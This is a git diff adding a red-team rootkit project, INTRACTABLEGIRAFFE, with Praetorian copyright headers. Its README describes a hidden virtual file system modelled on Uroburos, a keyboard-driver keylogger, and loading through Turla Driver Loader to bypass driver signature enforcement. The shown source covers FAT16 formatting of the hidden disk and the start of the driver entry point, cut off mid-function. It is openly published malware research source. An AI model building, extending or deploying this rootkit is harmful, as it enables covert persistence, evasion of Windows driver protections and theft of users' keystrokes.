diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..822db11
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,55 @@
+# Prerequisites
+*.d
+
+# Object files
+*.o
+*.ko
+*.obj
+*.elf
+
+# Linker output
+*.ilk
+*.map
+*.exp
+
+# Precompiled Headers
+*.gch
+*.pch
+
+# Libraries
+*.lib
+*.a
+*.la
+*.lo
+
+# Shared objects (inc. Windows DLLs)
+*.dll
+*.so
+*.so.*
+*.dylib
+
+# Executables
+*.exe
+*.out
+*.app
+*.i*86
+*.x86_64
+*.hex
+
+# Debug files
+*.dSYM/
+*.su
+*.idb
+*.pdb
+
+# Kernel Module Compile Results
+*.mod*
+*.cmd
+.tmp_versions/
+modules.order
+Module.symvers
+Mkfile.old
+dkms.conf
+
+# Exclude the .vs Directory
+.vs/*
diff --git a/INTRACTABLEGIRAFFE.sln b/INTRACTABLEGIRAFFE.sln
new file mode 100755
index 0000000..053ee6e
--- /dev/null
+++ b/INTRACTABLEGIRAFFE.sln
@@ -0,0 +1,35 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 17
+VisualStudioVersion = 17.2.32526.322
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "INTRACTABLEGIRAFFE", "src\INTRACTABLEGIRAFFE.vcxproj", "{734D7464-3863-41C1-A01D-8EEF349E4FF1}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|ARM64 = Debug|ARM64
+ Debug|x64 = Debug|x64
+ Release|ARM64 = Release|ARM64
+ Release|x64 = Release|x64
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {734D7464-3863-41C1-A01D-8EEF349E4FF1}.Debug|ARM64.ActiveCfg = Debug|ARM64
+ {734D7464-3863-41C1-A01D-8EEF349E4FF1}.Debug|ARM64.Build.0 = Debug|ARM64
+ {734D7464-3863-41C1-A01D-8EEF349E4FF1}.Debug|ARM64.Deploy.0 = Debug|ARM64
+ {734D7464-3863-41C1-A01D-8EEF349E4FF1}.Debug|x64.ActiveCfg = Debug|x64
+ {734D7464-3863-41C1-A01D-8EEF349E4FF1}.Debug|x64.Build.0 = Debug|x64
+ {734D7464-3863-41C1-A01D-8EEF349E4FF1}.Debug|x64.Deploy.0 = Debug|x64
+ {734D7464-3863-41C1-A01D-8EEF349E4FF1}.Release|ARM64.ActiveCfg = Release|ARM64
+ {734D7464-3863-41C1-A01D-8EEF349E4FF1}.Release|ARM64.Build.0 = Release|ARM64
+ {734D7464-3863-41C1-A01D-8EEF349E4FF1}.Release|ARM64.Deploy.0 = Release|ARM64
+ {734D7464-3863-41C1-A01D-8EEF349E4FF1}.Release|x64.ActiveCfg = Release|x64
+ {734D7464-3863-41C1-A01D-8EEF349E4FF1}.Release|x64.Build.0 = Release|x64
+ {734D7464-3863-41C1-A01D-8EEF349E4FF1}.Release|x64.Deploy.0 = Release|x64
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {F3B34903-9BA2-4037-99E3-1E2FA0E07EE8}
+ EndGlobalSection
+EndGlobal
diff --git a/LICENSE b/LICENSE
new file mode 100644
index 0000000..261eeb9
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,201 @@
+ Apache License
+ Version 2.0, January 2004
+ http://www.apache.org/licenses/
+
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+ 1. Definitions.
+
+ "License" shall mean the terms and conditions for use, reproduction,
+ and distribution as defined by Sections 1 through 9 of this document.
+
+ "Licensor" shall mean the copyright owner or entity authorized by
+ the copyright owner that is granting the License.
+
+ "Legal Entity" shall mean the union of the acting entity and all
+ other entities that control, are controlled by, or are under common
+ control with that entity. For the purposes of this definition,
+ "control" means (i) the power, direct or indirect, to cause the
+ direction or management of such entity, whether by contract or
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
+ outstanding shares, or (iii) beneficial ownership of such entity.
+
+ "You" (or "Your") shall mean an individual or Legal Entity
+ exercising permissions granted by this License.
+
+ "Source" form shall mean the preferred form for making modifications,
+ including but not limited to software source code, documentation
+ source, and configuration files.
+
+ "Object" form shall mean any form resulting from mechanical
+ transformation or translation of a Source form, including but
+ not limited to compiled object code, generated documentation,
+ and conversions to other media types.
+
+ "Work" shall mean the work of authorship, whether in Source or
+ Object form, made available under the License, as indicated by a
+ copyright notice that is included in or attached to the work
+ (an example is provided in the Appendix below).
+
+ "Derivative Works" shall mean any work, whether in Source or Object
+ form, that is based on (or derived from) the Work and for which the
+ editorial revisions, annotations, elaborations, or other modifications
+ represent, as a whole, an original work of authorship. For the purposes
+ of this License, Derivative Works shall not include works that remain
+ separable from, or merely link (or bind by name) to the interfaces of,
+ the Work and Derivative Works thereof.
+
+ "Contribution" shall mean any work of authorship, including
+ the original version of the Work and any modifications or additions
+ to that Work or Derivative Works thereof, that is intentionally
+ submitted to Licensor for inclusion in the Work by the copyright owner
+ or by an individual or Legal Entity authorized to submit on behalf of
+ the copyright owner. For the purposes of this definition, "submitted"
+ means any form of electronic, verbal, or written communication sent
+ to the Licensor or its representatives, including but not limited to
+ communication on electronic mailing lists, source code control systems,
+ and issue tracking systems that are managed by, or on behalf of, the
+ Licensor for the purpose of discussing and improving the Work, but
+ excluding communication that is conspicuously marked or otherwise
+ designated in writing by the copyright owner as "Not a Contribution."
+
+ "Contributor" shall mean Licensor and any individual or Legal Entity
+ on behalf of whom a Contribution has been received by Licensor and
+ subsequently incorporated within the Work.
+
+ 2. Grant of Copyright License. Subject to the terms and conditions of
+ this License, each Contributor hereby grants to You a perpetual,
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+ copyright license to reproduce, prepare Derivative Works of,
+ publicly display, publicly perform, sublicense, and distribute the
+ Work and such Derivative Works in Source or Object form.
+
+ 3. Grant of Patent License. Subject to the terms and conditions of
+ this License, each Contributor hereby grants to You a perpetual,
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+ (except as stated in this section) patent license to make, have made,
+ use, offer to sell, sell, import, and otherwise transfer the Work,
+ where such license applies only to those patent claims licensable
+ by such Contributor that are necessarily infringed by their
+ Contribution(s) alone or by combination of their Contribution(s)
+ with the Work to which such Contribution(s) was submitted. If You
+ institute patent litigation against any entity (including a
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
+ or a Contribution incorporated within the Work constitutes direct
+ or contributory patent infringement, then any patent licenses
+ granted to You under this License for that Work shall terminate
+ as of the date such litigation is filed.
+
+ 4. Redistribution. You may reproduce and distribute copies of the
+ Work or Derivative Works thereof in any medium, with or without
+ modifications, and in Source or Object form, provided that You
+ meet the following conditions:
+
+ (a) You must give any other recipients of the Work or
+ Derivative Works a copy of this License; and
+
+ (b) You must cause any modified files to carry prominent notices
+ stating that You changed the files; and
+
+ (c) You must retain, in the Source form of any Derivative Works
+ that You distribute, all copyright, patent, trademark, and
+ attribution notices from the Source form of the Work,
+ excluding those notices that do not pertain to any part of
+ the Derivative Works; and
+
+ (d) If the Work includes a "NOTICE" text file as part of its
+ distribution, then any Derivative Works that You distribute must
+ include a readable copy of the attribution notices contained
+ within such NOTICE file, excluding those notices that do not
+ pertain to any part of the Derivative Works, in at least one
+ of the following places: within a NOTICE text file distributed
+ as part of the Derivative Works; within the Source form or
+ documentation, if provided along with the Derivative Works; or,
+ within a display generated by the Derivative Works, if and
+ wherever such third-party notices normally appear. The contents
+ of the NOTICE file are for informational purposes only and
+ do not modify the License. You may add Your own attribution
+ notices within Derivative Works that You distribute, alongside
+ or as an addendum to the NOTICE text from the Work, provided
+ that such additional attribution notices cannot be construed
+ as modifying the License.
+
+ You may add Your own copyright statement to Your modifications and
+ may provide additional or different license terms and conditions
+ for use, reproduction, or distribution of Your modifications, or
+ for any such Derivative Works as a whole, provided Your use,
+ reproduction, and distribution of the Work otherwise complies with
+ the conditions stated in this License.
+
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
+ any Contribution intentionally submitted for inclusion in the Work
+ by You to the Licensor shall be under the terms and conditions of
+ this License, without any additional terms or conditions.
+ Notwithstanding the above, nothing herein shall supersede or modify
+ the terms of any separate license agreement you may have executed
+ with Licensor regarding such Contributions.
+
+ 6. Trademarks. This License does not grant permission to use the trade
+ names, trademarks, service marks, or product names of the Licensor,
+ except as required for reasonable and customary use in describing the
+ origin of the Work and reproducing the content of the NOTICE file.
+
+ 7. Disclaimer of Warranty. Unless required by applicable law or
+ agreed to in writing, Licensor provides the Work (and each
+ Contributor provides its Contributions) on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+ implied, including, without limitation, any warranties or conditions
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+ PARTICULAR PURPOSE. You are solely responsible for determining the
+ appropriateness of using or redistributing the Work and assume any
+ risks associated with Your exercise of permissions under this License.
+
+ 8. Limitation of Liability. In no event and under no legal theory,
+ whether in tort (including negligence), contract, or otherwise,
+ unless required by applicable law (such as deliberate and grossly
+ negligent acts) or agreed to in writing, shall any Contributor be
+ liable to You for damages, including any direct, indirect, special,
+ incidental, or consequential damages of any character arising as a
+ result of this License or out of the use or inability to use the
+ Work (including but not limited to damages for loss of goodwill,
+ work stoppage, computer failure or malfunction, or any and all
+ other commercial damages or losses), even if such Contributor
+ has been advised of the possibility of such damages.
+
+ 9. Accepting Warranty or Additional Liability. While redistributing
+ the Work or Derivative Works thereof, You may choose to offer,
+ and charge a fee for, acceptance of support, warranty, indemnity,
+ or other liability obligations and/or rights consistent with this
+ License. However, in accepting such obligations, You may act only
+ on Your own behalf and on Your sole responsibility, not on behalf
+ of any other Contributor, and only if You agree to indemnify,
+ defend, and hold each Contributor harmless for any liability
+ incurred by, or claims asserted against, such Contributor by reason
+ of your accepting any such warranty or additional liability.
+
+ END OF TERMS AND CONDITIONS
+
+ APPENDIX: How to apply the Apache License to your work.
+
+ To apply the Apache License to your work, attach the following
+ boilerplate notice, with the fields enclosed by brackets "[]"
+ replaced with your own identifying information. (Don't include
+ the brackets!) The text should be enclosed in the appropriate
+ comment syntax for the file format. We also recommend that a
+ file or class name and description of purpose be included on the
+ same "printed page" as the copyright notice for easier
+ identification within third-party archives.
+
+ Copyright [yyyy] [name of copyright owner]
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..c6971fe
--- /dev/null
+++ b/README.md
@@ -0,0 +1,12 @@
+# Overview
+INTRACTABLEGIRAFFE is a proof of concept rootkit developed to demonstrate the usage of a hidden Virtual File System (VFS) to store files outside of the standard Windows file system. The design of INTRACTABLEGRAFFE is inspired by the Uroburos rootkit [1], which implements both a volatile and a non-volatile hidden VFS. INTRACTABLEGIRAFFE supports loading by the "Turla Driver Loader" tool developed by hFiref0x/EP_X0FF on 64-bit operating systems to bypass driver signature enforcement.
+
+# Components
+INTRACTABLEGIRAFFE has three primary components: a volatile VFS, non-volatile VFS, and a keylogger leveraged to capture keystrokes entered by the user. Component descriptions are as follows:
+* Volatile VFS: Stores the VFS data within the non-paged pool and doesn’t persist any of the corresponding filesystem data to disk.
+* Non-Volatile VFS: Stores the VFS data within a file on the filesystem which contains the hidden file system embedded within it.
+* Keylogger: They keylogger is a standard KeyboardClass0 keylogger that captures keystrokes. It layers on top of the keyboard driver to register an IoCompletionRoutine, which enables it to capture keystrokes after the underlying device reads them.
+
+# More Information
+
+For more information on INTRACTABLEGIRAFFE including usage instructions, key design considerations, and potential future expansion work, please see the blog post we have published entitled [Developing a Hidden Virtual File System Capability That Emulates the Uroburos Rootkit](https://www.praetorian.com/blog/developing-a-vfs-that-emulates-uroburos-rootkit).
diff --git a/src/INTRACTABLEGIRAFFE.vcxproj b/src/INTRACTABLEGIRAFFE.vcxproj
new file mode 100755
index 0000000..0bf0c4d
--- /dev/null
+++ b/src/INTRACTABLEGIRAFFE.vcxproj
@@ -0,0 +1,140 @@
+
+
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+ Debug
+ ARM64
+
+
+ Release
+ ARM64
+
+
+
+ {734D7464-3863-41C1-A01D-8EEF349E4FF1}
+ {dd38f7fc-d7bd-488b-9242-7d8754cde80d}
+ v4.5
+ 12.0
+ Debug
+ x64
+ INTRACTABLEGIRAFFE
+
+
+
+ Windows10
+ true
+ WindowsKernelModeDriver10.0
+ Driver
+ WDM
+ false
+
+
+ Windows10
+ false
+ WindowsKernelModeDriver10.0
+ Driver
+ WDM
+ false
+
+
+ Windows10
+ true
+ WindowsKernelModeDriver10.0
+ Driver
+ WDM
+
+
+ Windows10
+ false
+ WindowsKernelModeDriver10.0
+ Driver
+ WDM
+
+
+
+
+
+
+
+
+
+
+ DbgengKernelDebugger
+
+
+ DbgengKernelDebugger
+
+
+ DbgengKernelDebugger
+
+
+ DbgengKernelDebugger
+
+
+
+ sha256
+
+
+ false
+ false
+
+
+
+
+ sha256
+
+
+ false
+
+
+ false
+
+
+ false
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/src/format.c b/src/format.c
new file mode 100755
index 0000000..5bcdf17
--- /dev/null
+++ b/src/format.c
@@ -0,0 +1,205 @@
+/*
+ * Copyright 2022 Praetorian Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include
+
+#include "vfs.h"
+#include "format.h"
+
+NTSTATUS
+VFSFormatFAT16(
+ IN PVFS_DEVICE_EXTENSION VFSExtension
+ )
+
+/*++
+
+ Routine Description:
+
+ This routine formats the new disk as a FAT16 filesystem
+
+ Arguments:
+
+ DeviceObject - Supplies a pointer to the device object that represents
+ the device whose capacity is to be read.
+
+ Return Value:
+
+ NTSTATUS (status of the formatting operation)
+
+--*/
+
+{
+
+ PBOOT_SECTOR_FAT16 bootSector = (PBOOT_SECTOR_FAT16) VFSExtension->DiskImage;
+ PUCHAR firstFatSector;
+ ULONG rootDirEntries;
+ ULONG sectorsPerCluster;
+ USHORT fatEntries; // Number of cluster entries in FAT
+ USHORT fatSectorCnt; // Number of sectors for FAT
+ PDIR_ENTRY rootDir; // Pointer to first entry in root dir
+
+ PAGED_CODE();
+ ASSERT(sizeof(BOOT_SECTOR_FAT16) == 512);
+ ASSERT(VFSExtension->DiskImage != NULL);
+
+ RtlZeroMemory(VFSExtension->DiskImage, VFSExtension->DiskSize);
+
+ VFSExtension->DiskGeometry.BytesPerSector = 512;
+ VFSExtension->DiskGeometry.SectorsPerTrack = 32; // Using Ramdisk value
+ VFSExtension->DiskGeometry.TracksPerCylinder = 2; // Using Ramdisk value
+
+ //
+ // Calculate number of cylinders.
+ //
+
+ VFSExtension->DiskGeometry.Cylinders.QuadPart = VFSExtension->DiskSize / 512 / 32 / 2;
+
+ //
+ // Our media type is RAMDISK_MEDIA_TYPE
+ //
+
+ VFSExtension->DiskGeometry.MediaType = 0xF8;
+
+ KdPrint(("Cylinders: %I64d\n TracksPerCylinder: %lu\n SectorsPerTrack: %lu\n BytesPerSector: %lu\n",
+ VFSExtension->DiskGeometry.Cylinders.QuadPart, VFSExtension->DiskGeometry.TracksPerCylinder,
+ VFSExtension->DiskGeometry.SectorsPerTrack, VFSExtension->DiskGeometry.BytesPerSector
+ ));
+
+ rootDirEntries = 224;
+ sectorsPerCluster = 16;
+
+ //
+ // Round Root Directory entries up if necessary
+ //
+
+ if (rootDirEntries & (DIR_ENTRIES_PER_SECTOR - 1)) {
+ rootDirEntries = (rootDirEntries + (DIR_ENTRIES_PER_SECTOR - 1)) & ~(DIR_ENTRIES_PER_SECTOR - 1);
+ }
+
+ KdPrint(("Root dir entries: %lu\n Sectors/cluster: %lu\n",
+ rootDirEntries, sectorsPerCluster
+ ));
+
+ //
+ // We need to have the 0xeb and 0x90 since this is one of the
+ // checks the file system recognizer uses
+ //
+
+ bootSector->bsJump[0] = 0xeb;
+ bootSector->bsJump[1] = 0x3c;
+ bootSector->bsJump[2] = 0x90;
+
+ //
+ // Set OemName to "RajuRam "
+ // NOTE: Fill all 8 characters, eg. sizeof(bootSector->bsOemName);
+ //
+
+ bootSector->bsOemName[0] = 'R';
+ bootSector->bsOemName[1] = 'a';
+ bootSector->bsOemName[2] = 'j';
+ bootSector->bsOemName[3] = 'u';
+ bootSector->bsOemName[4] = 'R';
+ bootSector->bsOemName[5] = 'a';
+ bootSector->bsOemName[6] = 'm';
+ bootSector->bsOemName[7] = ' ';
+
+ bootSector->bsBytesPerSec = (SHORT)VFSExtension->DiskGeometry.BytesPerSector;
+ bootSector->bsResSectors = 1;
+ bootSector->bsFATs = 1;
+ bootSector->bsRootDirEnts = (USHORT)rootDirEntries;
+
+ bootSector->bsSectors = (USHORT)(VFSExtension->DiskSize / VFSExtension->DiskGeometry.BytesPerSector);
+ bootSector->bsMedia = (UCHAR)VFSExtension->DiskGeometry.MediaType;
+ bootSector->bsSecPerClus = (UCHAR)sectorsPerCluster;
+
+ //
+ // Calculate number of sectors required for FAT
+ //
+
+ fatEntries = (bootSector->bsSectors - bootSector->bsResSectors - bootSector->bsRootDirEnts / DIR_ENTRIES_PER_SECTOR) / bootSector->bsSecPerClus + 2;
+
+ DbgPrint("[IG Driver:Ramdisk] FAT 16 SELECTED");
+
+ fatSectorCnt = (fatEntries * 2 + 511) / 512;
+ fatEntries = fatEntries + fatSectorCnt;
+ fatSectorCnt = (fatEntries * 2 + 511) / 512;
+
+ bootSector->bsFATsecs = fatSectorCnt;
+ bootSector->bsSecPerTrack = (USHORT)VFSExtension->DiskGeometry.SectorsPerTrack;
+ bootSector->bsHeads = (USHORT)VFSExtension->DiskGeometry.TracksPerCylinder;
+ bootSector->bsBootSignature = 0x0;
+ bootSector->bsVolumeID = 0xC0FFFFEE;
+
+ bootSector->bsLabel[0] = 'N';
+ bootSector->bsLabel[1] = 'O';
+ bootSector->bsLabel[2] = ' ';
+ bootSector->bsLabel[3] = 'N';
+ bootSector->bsLabel[4] = 'A';
+ bootSector->bsLabel[5] = 'M';
+ bootSector->bsLabel[6] = 'E';
+ bootSector->bsLabel[7] = ' ';
+ bootSector->bsLabel[8] = ' ';
+ bootSector->bsLabel[9] = ' ';
+ bootSector->bsLabel[10] = ' ';
+
+ bootSector->bsFileSystemType[0] = 'F';
+ bootSector->bsFileSystemType[1] = 'A';
+ bootSector->bsFileSystemType[2] = 'T';
+ bootSector->bsFileSystemType[3] = '1';
+ bootSector->bsFileSystemType[4] = '6';
+ bootSector->bsFileSystemType[5] = ' ';
+ bootSector->bsFileSystemType[6] = ' ';
+ bootSector->bsFileSystemType[7] = ' ';
+
+ bootSector->bsSig2[0] = 0x55;
+ bootSector->bsSig2[1] = 0xAA;
+
+ //
+ // The FAT is located immediately following the boot sector.
+ //
+
+ firstFatSector = (PUCHAR)(bootSector + 1);
+ firstFatSector[0] = (UCHAR)VFSExtension->DiskGeometry.MediaType;
+ firstFatSector[1] = 0xFF;
+ firstFatSector[2] = 0xFF;
+
+
+ firstFatSector[3] = 0xFF;
+
+
+ //
+ // The Root Directory follows the FAT
+ //
+
+ rootDir = (PDIR_ENTRY)(bootSector + 1 + fatSectorCnt);
+
+ rootDir->deName[0] = ' ';
+ rootDir->deName[1] = ' ';
+ rootDir->deName[2] = ' ';
+ rootDir->deName[3] = ' ';
+ rootDir->deName[4] = ' ';
+ rootDir->deName[5] = ' ';
+ rootDir->deName[6] = ' ';
+ rootDir->deName[7] = ' ';
+
+ rootDir->deExtension[0] = ' ';
+ rootDir->deExtension[1] = ' ';
+ rootDir->deExtension[2] = ' ';
+
+ rootDir->deAttributes = DIR_ATTR_VOLUME;
+
+ return STATUS_SUCCESS;
+}
\ No newline at end of file
diff --git a/src/format.h b/src/format.h
new file mode 100644
index 0000000..39c6946
--- /dev/null
+++ b/src/format.h
@@ -0,0 +1,134 @@
+/*
+ * Copyright 2022 Praetorian Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#pragma once
+
+#include
+
+#define NT_DEVICE_NAME L"\\Device\\Ramdisk"
+#define DOS_DEVICE_NAME L"\\DosDevices\\"
+
+#define RAMDISK_TAG 'DmaR' // "RamD"
+#define DOS_DEVNAME_LENGTH (sizeof(DOS_DEVICE_NAME)+sizeof(WCHAR)*10)
+#define DRIVE_LETTER_LENGTH (sizeof(WCHAR)*10)
+
+#define DRIVE_LETTER_BUFFER_SIZE 10
+#define DOS_DEVNAME_BUFFER_SIZE (sizeof(DOS_DEVICE_NAME) / 2) + 10
+
+#define RAMDISK_MEDIA_TYPE 0xF8
+#define DIR_ENTRIES_PER_SECTOR 16
+
+#define DEFAULT_DISK_SIZE (1024*1024) // 1 MB
+#define DEFAULT_ROOT_DIR_ENTRIES 512
+#define DEFAULT_SECTORS_PER_CLUSTER 2
+#define DEFAULT_DRIVE_LETTER L"Z:"
+
+#pragma pack(1)
+
+typedef struct _BOOT_SECTOR_FAT32
+{
+ UCHAR BS_jmpBoot[3];
+ UCHAR BS_OEMName[8];
+ UCHAR BPB_BytsPerSec;
+ UCHAR BPB_SecPerClus;
+ SHORT BPB_RsvdSecCnt;
+ UCHAR BPB_NumFATs;
+ SHORT BPB_RootEntCnt;
+ USHORT BPB_TotSec16;
+ UCHAR BPB_Media;
+ USHORT BPB_FATSz16;
+ USHORT BPB_SecPerTrk;
+ USHORT BPB_NumHeads;
+ ULONG BPB_HiddSec;
+ ULONG BPB_TotSec32;
+ ULONG BPB_FATSz32;
+ USHORT BPB_ExtFlags;
+ USHORT BPB_FSVer;
+ ULONG BPB_RootClus;
+ USHORT BPB_FSInfo;
+ USHORT BPB_BkBootSec;
+ UCHAR BPB_Reserved[12];
+ UCHAR BS_DrvNum;
+ UCHAR BS_Reserved1;
+ UCHAR BS_BootSig;
+ ULONG BS_VolID;
+ UCHAR BS_VolLab[11];
+ UCHAR BS_FileSystemType[8];
+ UCHAR BS_ReservedPadding[420];
+ UCHAR BS_Sigature[2];
+} BOOT_SECTOR_FAT32, *PBOOT_SECTOR_FAT32;
+
+typedef struct _BOOT_SECTOR_FAT16
+{
+ UCHAR bsJump[3]; // x86 jmp instruction, checked by FS
+ CCHAR bsOemName[8]; // OEM name of formatter
+ USHORT bsBytesPerSec; // Bytes per Sector
+ UCHAR bsSecPerClus; // Sectors per Cluster
+ USHORT bsResSectors; // Reserved Sectors
+ UCHAR bsFATs; // Number of FATs - we always use 1
+ USHORT bsRootDirEnts; // Number of Root Dir Entries
+ USHORT bsSectors; // Number of Sectors
+ UCHAR bsMedia; // Media type - we use RAMDISK_MEDIA_TYPE
+ USHORT bsFATsecs; // Number of FAT sectors
+ USHORT bsSecPerTrack; // Sectors per Track - we use 32
+ USHORT bsHeads; // Number of Heads - we use 2
+ ULONG bsHiddenSecs; // Hidden Sectors - we set to 0
+ ULONG bsHugeSectors; // Number of Sectors if > 32 MB size
+ UCHAR bsDriveNumber; // Drive Number - not used
+ UCHAR bsReserved1; // Reserved
+ UCHAR bsBootSignature; // New Format Boot Signature - 0x29
+ ULONG bsVolumeID; // VolumeID - set to 0x12345678
+ CCHAR bsLabel[11]; // Label - set to RamDisk
+ CCHAR bsFileSystemType[8];// File System Type - FAT12 or FAT16
+ CCHAR bsReserved2[448]; // Reserved
+ UCHAR bsSig2[2]; // Originial Boot Signature - 0x55, 0xAA
+} BOOT_SECTOR_FAT16, *PBOOT_SECTOR_FAT16;
+
+typedef struct _DIR_ENTRY
+{
+ UCHAR deName[8]; // File Name
+ UCHAR deExtension[3]; // File Extension
+ UCHAR deAttributes; // File Attributes
+ UCHAR deReserved; // Reserved
+ USHORT deTime; // File Time
+ USHORT deDate; // File Date
+ USHORT deStartCluster; // First Cluster of file
+ ULONG deFileSize; // File Length
+} DIR_ENTRY, *PDIR_ENTRY;
+
+#pragma pack()
+
+//
+// Directory Entry Attributes
+//
+
+#define DIR_ATTR_READONLY 0x01
+#define DIR_ATTR_HIDDEN 0x02
+#define DIR_ATTR_SYSTEM 0x04
+#define DIR_ATTR_VOLUME 0x08
+#define DIR_ATTR_DIRECTORY 0x10
+#define DIR_ATTR_ARCHIVE 0x20
+
+//
+// Function Prototypes
+//
+
+NTSTATUS
+VFSFormatFAT16(
+ PVFS_DEVICE_EXTENSION devExt
+ );
+
+
diff --git a/src/igmain.c b/src/igmain.c
new file mode 100755
index 0000000..aa311df
--- /dev/null
+++ b/src/igmain.c
@@ -0,0 +1,344 @@
+/*
+ * Copyright 2022 Praetorian Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include
+
+#include "vfs.h"
+#include "keylog.h"
+
+//
+// Forward Declarations for Static Functions
+//
+
+VOID
+RealMain();
+
+static NTSTATUS
+RunQueueWorkItem(
+ IN PDRIVER_OBJECT DriverObject,
+ IN PUNICODE_STRING regPath
+);
+
+VOID
+WorkItemRoutine(
+ PDEVICE_OBJECT pDevObj, PVOID pContext
+);
+
+static NTSTATUS
+SetupVFS(
+ IN PDRIVER_OBJECT DriverObject,
+ IN PUNICODE_STRING regPath
+ );
+
+static NTSTATUS
+SetupKeylogger(
+ IN PDRIVER_OBJECT DriverObject,
+ IN PUNICODE_STRING regPath
+ );
+
+//
+// Undocumented NT Function Forward Declarations
+//
+
+NTKERNELAPI NTSTATUS
+IoCreateDriver(
+ IN PUNICODE_STRING DriverName, OPTIONAL
+ IN PDRIVER_INITIALIZE InitializationFunction
+ );
+
+NTSTATUS
+DriverEntry(
+ IN PDRIVER_OBJECT DriverObject,
+ IN PUNICODE_STRING regPath
+ )
+
+/*++
+
+ Routine Description:
+
+ Entrypoint for IG rootkit this routine can be executed as driverless
+ code as it does not utilize the DriverObject and regPath parameters. This
+ should allow our code to be loaded by the Turla Driver Loader from hFiref0x
+
+ Arguments:
+
+ DriverObject - Unreferenced Parameter
+
+ regPath - Unreferenced Parameter
+
+ Return Value:
+
+ Always returns successful status
+
+--*/
+
+{
+ KIRQL Irql;
+ PWSTR sIrql;
+
+ UNREFERENCED_PARAMETER(DriverObject);
+ UNREFERENCED_PARAMETER(regPath);
+
+ DbgPrint("[IG] DriverEntry Called");
+ DbgPrint("[IG] System range start is %p, code mapped at %p\n", MmSystemRangeStart, DriverEntry);
+
+ Irql = KeGetCurrentIrql();
+
+ switch (Irql) {
+
+ case PASSIVE_LEVEL:
+ sIrql = L"PASSIVE_LEVEL";
+ break;
+ case APC_LEVEL:
+ sIrql = L"APC_LEVEL";
+ break;
+ case DISPATCH_LEVEL:
+ sIrql = L"DISPATCH_LEVEL";
+ break;
+ case CMCI_LEVEL:
+ sIrql = L"CMCI_LEVEL";
+ break;
+ case CLOCK_LEVEL:
+ sIrql = L"CLOCK_LEVEL";
+ break;
+ case IPI_LEVEL:
+ sIrql = L"IPI_LEVEL";
+ break;
+ case HIGH_LEVEL:
+ sIrql = L"HIGH_LEVEL";
+ break;
+ default:
+ sIrql = L"Unknown Value";
+ break;
+ }
+
+ DbgPrint("[IG] DriverEntry KeGetCurrentIrql=%ws\n", sIrql);
+
+ if (Irql == PASSIVE_LEVEL) {
+ DbgPrint("[IG] Test Running at PASSIVE_LEVEL");
+ RealMain(NULL);
+ }
+ else {
+ DbgPrint("[IG] Queuing an I/O work item to run asychronously");
+ IoCreateDriver(NULL, RunQueueWorkItem);
+ }
+
+ return STATUS_SUCCESS;
+}
+
+VOID
+WorkItemRoutine(
+ IN PDEVICE_OBJECT pDevObj,
+ IN PVOID pContext
+ )
+{
+ KIRQL Irql;
+ PWSTR sIrql;
+
+ UNREFERENCED_PARAMETER(pDevObj);
+ UNREFERENCED_PARAMETER(pContext);
+
+ Irql = KeGetCurrentIrql();
+
+ switch (Irql) {
+
+ case PASSIVE_LEVEL:
+ sIrql = L"PASSIVE_LEVEL";
+ break;
+ case APC_LEVEL:
+ sIrql = L"APC_LEVEL";
+ break;
+ case DISPATCH_LEVEL:
+ sIrql = L"DISPATCH_LEVEL";
+ break;
+ case CMCI_LEVEL:
+ sIrql = L"CMCI_LEVEL";
+ break;
